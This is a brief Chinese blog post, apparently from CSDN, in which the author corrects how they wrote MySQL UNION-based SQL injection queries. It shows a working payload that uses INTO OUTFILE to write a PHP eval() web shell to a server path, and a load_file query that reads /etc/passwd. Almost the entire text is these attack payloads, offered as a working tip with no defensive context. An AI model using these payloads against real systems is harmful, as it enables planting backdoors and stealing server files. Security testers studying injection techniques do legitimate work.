纠正一个自己一个错误

最新推荐文章于 2024-05-31 17:11:43 发布

niexinming

最新推荐文章于 2024-05-31 17:11:43 发布

阅读量588

点赞数

分类专栏：编程

本文链接：https://blog.csdn.net/niexinming/article/details/52212105

版权

编程专栏收录该内容

19 篇文章 1 订阅

订阅专栏

在sql注入用into outfile写文件的时候，总是这样写：

SELECT id, bookname, publisher, author, price, pic,ptime FROM books WHERE bookname like '%1%' union select 1,(select '<?php @eval($_POST["c"]);?>' INTO OUTFILE '/tmp/lala.php'),3,4,5,6,7

导致文件始终不能写入到指定路径里面

现在才发现应该这样写：

SELECT id, bookname, publisher, author, price, pic,ptime FROM books WHERE bookname like '%1%' union select 1,(select '<?php @eval($_POST["c"]);?>'),3,4,5,6,7 into outfile '/tmp/lala.php';

才能将文件成功写入

自己将load_file搞混了，而select load_file可以在任何位置出现，且可以成功读取文件：

SELECT id, bookname, publisher, author, price, pic,ptime FROM books WHERE bookname like '%1%' union select (select load_file('/etc/passwd')),2,3,4,5,6,7